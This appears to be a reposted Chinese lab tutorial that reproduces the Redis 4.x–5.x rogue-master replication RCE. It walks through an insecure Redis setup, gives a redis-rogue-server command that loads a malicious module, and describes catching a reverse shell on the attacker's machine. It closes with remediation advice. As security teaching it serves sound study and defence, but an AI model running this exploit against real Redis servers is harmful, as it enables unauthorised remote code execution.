漏洞復現之Redis-rce


通過主從復制 GetShell 

Redis主從復制

  Redis是一個使用ANSI C編寫的開源、支持網絡、基於內存、可選持久性的鍵值對存儲數據庫。但如果當把數據存儲在單個Redis的實例中,當讀寫體量比較大的時候,服務端就很難承受。為了應對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis實例作為主機,其他實例都作為備份機,其中主機和從機數據相同,而從機只負責讀,主機只負責寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。

Redis模塊

  在了解了主從同步之后,我們還需要對redis的模塊有所了解。

在Redis 4.x之后,Redis新增了模塊功能,通過外部拓展,可以實現在redis中實現一個新的Redis命令,通過寫c語言並編譯出.so文件。

  由此可知,此方式的利用范圍。

  Redis 4.x-Redis 5.x

 

  靶機:ubuntu 18.04.1   ip:192.168.112.132

  攻擊機:kali   ip:192.168.112.133

一、環境搭建。
  1)wget http://download.redis.io/releases/redis-5.0.0.tar.gz
  tar -xvzf redis-5.0.0.tar.gz
  cd redis-5.0.0
  make


  2)不同機器上需更改redis.conf配置文件
  protected-mode yes 改為
  protected-mode no

  #關閉redis保護模式

  bind 127.0.0.1 改為

  bind 0.0.0.0  

  #注意:bind的意思不是綁定外部服務器的IP,而是綁定本機可以接受連接的網卡地址,默認是只能本地訪問,改動后服務器上任意網卡地址可訪問。 

   

  

 

  3)靶機啟動服務

  cd src

  ./redis-server ../redis.conf
  #加載指定配置

二、exp准備

  https://github.com/n0b0dyCN/redis-rogue-server

  用法:python3 redis-rogue-server.py --rhost=192.168.112.132 --lhost=192.168.112.133 --exp=exp.so

三、exploit

  彈shell至本機的時候,需輸入攻擊機ip,輸入監聽端口。

  監聽,成功。

 

   

修復建議:

    由於該漏洞利用前提是獲取redis訪問權限,也就是基於redis未授權訪問。因此可考慮把產生問題的家伙解決掉。

    redis加固:https://www.cnblogs.com/iamver/p/7985556.html

   

參考鏈接:

    https://www.anquanke.com/post/id/181734

    https://lorexxar.cn/2019/07/10/redis-5-x-rce/

漏洞原理:

    https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM